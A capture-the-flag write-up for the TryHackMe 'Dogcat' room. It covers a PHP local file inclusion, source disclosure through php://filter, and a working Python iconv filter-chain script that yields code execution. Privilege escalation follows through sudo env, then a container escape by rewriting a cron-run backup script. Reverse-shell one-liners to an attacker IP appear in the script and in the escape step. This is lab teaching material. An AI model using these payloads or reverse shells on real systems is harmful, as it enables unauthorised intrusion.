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WriteupsTryHackMeDogcat

Dogcat - THM

This is the writeup for the TryHackMe medium difficulty room called Dogcat .

Task

From the task we can already see that we are going to deal with a PHP webserver.

Recon

CMD: nmap -sS -sV -p- $IP
 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-14 17:05 CEST
Nmap scan report for 10.10.112.67
Host is up (0.040s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))

The scan shows us a webserver running on port 80.

Website

Clicking either cat or dog reveals how the website works.

http://10.10.184.180/?view=dog

Let’s enumerate which values does the parameter view accept.

CMD: ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://$IP/?view=FUZZ -c -mw 106
 
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
 
v2.1.0-dev
________________________________________________
 
:: Method : GET
:: URL : http://10.10.184.180/?view=FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response words: 106
________________________________________________
 
category [Status: 200, Size: 759, Words: 106, Lines: 24, Duration: 43ms]
publications [Status: 200, Size: 767, Words: 106, Lines: 24, Duration: 43ms]
education [Status: 200, Size: 761, Words: 106, Lines: 24, Duration: 43ms]
catalog [Status: 200, Size: 757, Words: 106, Lines: 24, Duration: 43ms]
categories [Status: 200, Size: 763, Words: 106, Lines: 24, Duration: 43ms]
applications [Status: 200, Size: 767, Words: 106, Lines: 24, Duration: 42ms]
Education [Status: 200, Size: 761, Words: 106, Lines: 24, Duration: 42ms]
uncategorized [Status: 200, Size: 769, Words: 106, Lines: 24, Duration: 43ms]
locations [Status: 200, Size: 761, Words: 106, Lines: 24, Duration: 43ms]
Publications [Status: 200, Size: 767, Words: 106, Lines: 24, Duration: 43ms]
certification [Status: 200, Size: 769, Words: 106, Lines: 24, Duration: 44ms]
location [Status: 200, Size: 759, Words: 106, Lines: 24, Duration: 42ms]
collapse_tcat [Status: 200, Size: 769, Words: 106, Lines: 24, Duration: 43ms]
communications [Status: 200, Size: 771, Words: 106, Lines: 24, Duration: 42ms]
syndication [Status: 200, Size: 765, Words: 106, Lines: 24, Duration: 43ms]
application [Status: 200, Size: 765, Words: 106, Lines: 24, Duration: 43ms]
offercategory [Status: 200, Size: 769, Words: 106, Lines: 24, Duration: 43ms]
authentication [Status: 200, Size: 771, Words: 106, Lines: 24, Duration: 43ms]
communication [Status: 200, Size: 769, Words: 106, Lines: 24, Duration: 43ms]
dedicated [Status: 200, Size: 761, Words: 106, Lines: 24, Duration: 43ms]
catalogue [Status: 200, Size: 761, Words: 106, Lines: 24, Duration: 43ms]
Applications [Status: 200, Size: 767, Words: 106, Lines: 24, Duration: 43ms]
syndicate [Status: 200, Size: 761, Words: 106, Lines: 24, Duration: 42ms]
locator [Status: 200, Size: 757, Words: 106, Lines: 24, Duration: 43ms]
vacation [Status: 200, Size: 759, Words: 106, Lines: 24, Duration: 44ms]
cats [Status: 200, Size: 751, Words: 106, Lines: 24, Duration: 43ms]
scat [Status: 200, Size: 751, Words: 106, Lines: 24, Duration: 43ms]
colocation [Status: 200, Size: 763, Words: 106, Lines: 24, Duration: 43ms]
certificate [Status: 200, Size: 765, Words: 106, Lines: 24, Duration: 43ms]
publication [Status: 200, Size: 765, Words: 106, Lines: 24, Duration: 42ms]
Communications [Status: 200, Size: 771, Words: 106, Lines: 24, Duration: 44ms]
blogcategory [Status: 200, Size: 767, Words: 106, Lines: 24, Duration: 43ms]
telecommunications [Status: 200, Size: 779, Words: 106, Lines: 24, Duration: 43ms]
catalogs [Status: 200, Size: 759, Words: 106, Lines: 24, Duration: 43ms]

In the responses we notice that all the words that include either the string cat or dog returns an error.

Error_Message

From the error message we can conclude that whatever we type into the parameter of view will be executed as the argument of the include() function and an additional .php extension will be added to the end of the string.

Exploitation

http://10.10.184.180/?view=php://filter/convert.base64-encode/resource=./cat/../index

Using this URL, we can get the base64 encoded content of the index.php file.

Index_Php

Decoding it gives us the original code.

index.php
<!DOCTYPE html>
<html>
  <head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css" />
  </head>
 
  <body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>
 
    <div>
      <h2>What would you like to see?</h2>
      <a href="/?view=dog"><button id="dog">A dog</button></a>
      <a href="/?view=cat"><button id="cat">A cat</button></a><br />
      <?php
        function containsStr($str, $substr)
        {
            return strpos($str, $substr) !== false;
        }
        $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
        if (isset($_GET['view'])) {
            if (containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                echo 'Here you go!';
                include $_GET['view'] . $ext;
            } else {
                echo 'Sorry, only dogs or cats are allowed.';
            }
        }
        ?>
    </div>
  </body>
</html>

From the code we can clearly see how it works. We also notice that with the parameter ext we can change the extension of the opened file.
Abusing php filters we can get a shell on the target.

Getting the 1st flag

requester.py
import requests
 
url = "http://10.10.112.67/"
file_to_use = "cat.php"
command = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.14.99.147/9998 0>&1'"
 
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
 
conversions = {
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    '1': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF1002035D.EUC-KR|convert.iconv.MAC-CYRILLIC.T.61-8BIT|convert.iconv.1046.CSIBM864|convert.iconv.OSF1002035E.UCS-4BE|convert.iconv.EBCDIC-INT1.IBM943',
    '2': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO6937.OSF1002011C|convert.iconv.CP1146.EUCJP-OPEN|convert.iconv.IBM1157.UTF8',
    '3': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-7.CSISOLATIN3|convert.iconv.ISO-8859-9.CP905|convert.iconv.IBM1112.CSPC858MULTILINGUAL|convert.iconv.EBCDIC-CP-NL.ISO-10646',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
    '5': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.RUSCII.IBM275|convert.iconv.CSEBCDICFR.CP857|convert.iconv.EBCDIC-CP-WT.ISO88591',
    '6': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-37.MACUK|convert.iconv.CSIBM297.ISO-IR-203',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'a': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9066.CP1371|convert.iconv.KOI8-RU.OSF00010101|convert.iconv.EBCDIC-CP-FR.ISO-IR-156',
    'b': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1399.UCS4',
    'c': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.8859_9.OSF100201F4|convert.iconv.IBM1112.CP1004|convert.iconv.OSF00010007.CP285|convert.iconv.IBM-1141.OSF10020402',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'e': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.SHIFT_JISX0213|convert.iconv.IBM1164.UCS-4',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    'g': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022CN.CP855|convert.iconv.CSISO49INIS.IBM1142',
    'h': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.THAI8.OSF100201B5|convert.iconv.NS_4551-1.CP1160|convert.iconv.CP275.IBM297',
    'i': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM943|convert.iconv.CUBA.CSIBM1140',
    'j': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.UCS-4BE|convert.iconv.IBM857.OSF1002011C',
    'k': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO88594.CP912|convert.iconv.ISO-IR-121.CP1122|convert.iconv.IBM420.UTF-32LE|convert.iconv.OSF100201B5.IBM-1399',
    'l': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.MACIS|convert.iconv.CSIBM865.10646-1:1993|convert.iconv.ISO_69372.CSEBCDICATDEA',
    'm': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.CSSHIFTJIS|convert.iconv.NO2.CSIBM1399',
    'n': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM862|convert.iconv.CP860.IBM-1399',
    'o': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.CP861|convert.iconv.904.UTF-16|convert.iconv.IBM-1122.IBM1390',
    'p': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1125.IBM1146|convert.iconv.IBM284.ISO_8859-16|convert.iconv.ISO-IR-143.IBM-933',
    'q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NC_NC00-10:81.CSIBM863|convert.iconv.CP297.UTF16BE',
    'r': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-86.ISO_8859-4:1988|convert.iconv.TURKISH8.CP1149',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    't': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.WINDOWS-1251.CP1364|convert.iconv.IBM880.IBM-1146|convert.iconv.IBM-935.CP037|convert.iconv.IBM500.L3|convert.iconv.CP282.TS-5881',
    'u': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937:1992.ISO-IR-121|convert.iconv.ISO_8859-7:1987.ANSI_X3.110|convert.iconv.CSIBM1158.UTF16BE',
    'v': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.HU.ISO_6937:1992|convert.iconv.CSIBM863.IBM284',
    'w': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937-2:1983.857|convert.iconv.8859_3.EBCDIC-CP-FR',
    'x': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1254.ISO-IR-226|convert.iconv.CSMACINTOSH.IBM-1149|convert.iconv.EBCDICESA.UCS4|convert.iconv.1026.UTF-32LE',
    'y': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.EBCDIC-INT1.IBM-1399',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'A': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-111.IBM1130|convert.iconv.L1.ISO-IR-156',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    'E': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.LATIN7.MACINTOSH|convert.iconv.CSN_369103.CSIBM1388',
    'F': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9448.ISO-IR-103|convert.iconv.ISO-IR-199.T.61|convert.iconv.IEC_P27-1.CP937',
    'G': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_8859-3:1988.CP1142|convert.iconv.CSIBM16804.CSIBM1388',
    'H': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.EUCJP-OPEN|convert.iconv.CP5347.CP1144',
    'I': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.DS2089|convert.iconv.OSF0004000A.CP852|convert.iconv.HPROMAN8.T.618BIT|convert.iconv.862.CSIBM1143',
    'J': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.US.ISO-8859-13|convert.iconv.CP9066.CSIBM285',
    'K': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1097.UTF-16BE',
    'L': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ECMACYRILLIC.IBM256|convert.iconv.GEORGIAN-ACADEMY.10646-1:1993|convert.iconv.IBM-1122.IBM920',
    'M': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.SE2.ISO885913|convert.iconv.866NAV.ISO2022JP2|convert.iconv.CP857.CP930',
    'N': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM9066.UTF7|convert.iconv.MIK.CSIBM16804',
    'O': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-197.CSIBM275|convert.iconv.IBM1112.UTF-16BE|convert.iconv.ISO_8859-3:1988.CP500',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'Q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NO.CP275|convert.iconv.EBCDIC-GREEK.CP936|convert.iconv.CP922.CP1255|convert.iconv.MAC-IS.EBCDIC-CP-IT',
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'S': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1154.UCS4',
    'T': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1163.CP1388|convert.iconv.OSF10020366.MS-MAC-CYRILLIC|convert.iconv.ISO-IR-25.ISO-IR-85|convert.iconv.GREEK.IBM-1144',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'X': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF10020388.IBM-935|convert.iconv.CP280.WINDOWS-1252|convert.iconv.CP284.IBM256|convert.iconv.CP284.LATIN1',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'Z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.CSEBCDICFISE',
    '+': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ANSI_X3.4-1986.CP857|convert.iconv.OSF10020360.ISO885913|convert.iconv.EUCCN.UTF7|convert.iconv.GREEK7-OLD.UCS4',
    '=': ''
}
 
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
filters += "convert.iconv.UTF8.UTF7|"
 
for c in base64_payload[::-1]:
    filters += conversions[c] + "|"
    filters += "convert.base64-decode|"
    filters += "convert.base64-encode|"
    filters += "convert.iconv.UTF8.UTF7|"
 
filters += "convert.base64-decode"
 
final_payload = f"php://filter/{filters}/resource=./cat/../{file_to_use}"
 
r = requests.get(url, params={
    "view": final_payload,
    "ext": "",
    "0": command,
})
 
print(r.text)

You can see how this exploit works here .

CMD: nc -lvnp 9998

Using the exploit and starting a listener we get a shell.

Flag1

The first FLAG is found in the var/www/html directory.

Getting the 2nd flag

Flag2

The second FLAG is in the var/www directory.
(I only realized here that we should have assumed that there is a flag.php file in the web root.)

Getting the 3rd flag

CMD: sudo -l
Matching Defaults entries for www-data on b13221eddbc6:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
 
User www-data may run the following commands on b13221eddbc6:
    (root) NOPASSWD: /usr/bin/env

Running the above command we notice that we are able to run env as root.
The website GTFOBins  shows how we can get a shell as root.

CMD: sudo /usr/bin/env /bin/sh

Flag3

The third FLAG is in the /root directory.

Getting the 4th flag

If we explore the target we realize that we are in a docker container.

CMD: df -aTh
 
Filesystem     Type     Size  Used Avail Use% Mounted on
overlay        overlay  9.8G  5.3G  4.0G  58% /
proc           proc        0     0     0    - /proc
tmpfs          tmpfs     64M     0   64M   0% /dev
devpts         devpts      0     0     0    - /dev/pts
sysfs          sysfs       0     0     0    - /sys
tmpfs          tmpfs    481M     0  481M   0% /sys/fs/cgroup
cgroup         cgroup      0     0     0    - /sys/fs/cgroup/systemd
cgroup         cgroup      0     0     0    - /sys/fs/cgroup/net_cls,net_prio
cgroup         cgroup      0     0     0    - /sys/fs/cgroup/cpu,cpuacct
cgroup         cgroup      0     0     0    - /sys/fs/cgroup/devices
cgroup         cgroup      0     0     0    - /sys/fs/cgroup/cpuset
cgroup         cgroup      0     0     0    - /sys/fs/cgroup/pids
cgroup         cgroup      0     0     0    - /sys/fs/cgroup/freezer
cgroup         cgroup      0     0     0    - /sys/fs/cgroup/rdma
cgroup         cgroup      0     0     0    - /sys/fs/cgroup/perf_event
cgroup         cgroup      0     0     0    - /sys/fs/cgroup/blkio
cgroup         cgroup      0     0     0    - /sys/fs/cgroup/memory
cgroup         cgroup      0     0     0    - /sys/fs/cgroup/hugetlb
mqueue         mqueue      0     0     0    - /dev/mqueue
shm            tmpfs     64M     0   64M   0% /dev/shm
/dev/nvme1n1p2 ext4     9.8G  5.3G  4.0G  58% /opt/backups
/dev/nvme1n1p2 ext4     9.8G  5.3G  4.0G  58% /etc/resolv.conf
/dev/nvme1n1p2 ext4     9.8G  5.3G  4.0G  58% /etc/hostname
/dev/nvme1n1p2 ext4     9.8G  5.3G  4.0G  58% /etc/hosts
/dev/nvme1n1p2 ext4     9.8G  5.3G  4.0G  58% /var/www/html
proc           proc        0     0     0    - /proc/bus
proc           proc        0     0     0    - /proc/fs
proc           proc        0     0     0    - /proc/irq
proc           proc        0     0     0    - /proc/sys
proc           proc        0     0     0    - /proc/sysrq-trigger
tmpfs          tmpfs    481M     0  481M   0% /proc/acpi
tmpfs          tmpfs     64M     0   64M   0% /proc/kcore
tmpfs          tmpfs     64M     0   64M   0% /proc/keys
tmpfs          tmpfs     64M     0   64M   0% /proc/timer_list
tmpfs          tmpfs     64M     0   64M   0% /proc/sched_debug
tmpfs          tmpfs    481M     0  481M   0% /proc/scsi
tmpfs          tmpfs    481M     0  481M   0% /sys/firmware

Looking at the mounts we see that the /opt/backups directory is shared between the docker container and the host machine.

CMD: ls -la
 
total 2892
drwxr-xr-x 2 root root    4096 Apr  8  2020 .
drwxr-xr-x 1 root root    4096 Oct 14 13:11 ..
-rwxr--r-- 1 root root      69 Mar 10  2020 backup.sh
-rw-r--r-- 1 root root 2949120 Oct 14 14:43 backup.tar

The backup.sh file is executed on the host machine every now and than, and we are able to modify its content to execute a reverse shell.

CMD: echo "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.14.99.147/10000 0>&1'" > backup.sh
CMD: nc -lvnp 10000

After stating a listener on the attacker machine and waiting for a bit, we receive a shell.

Flag4

The 4th FLAG is in the /root directory of the host machine.

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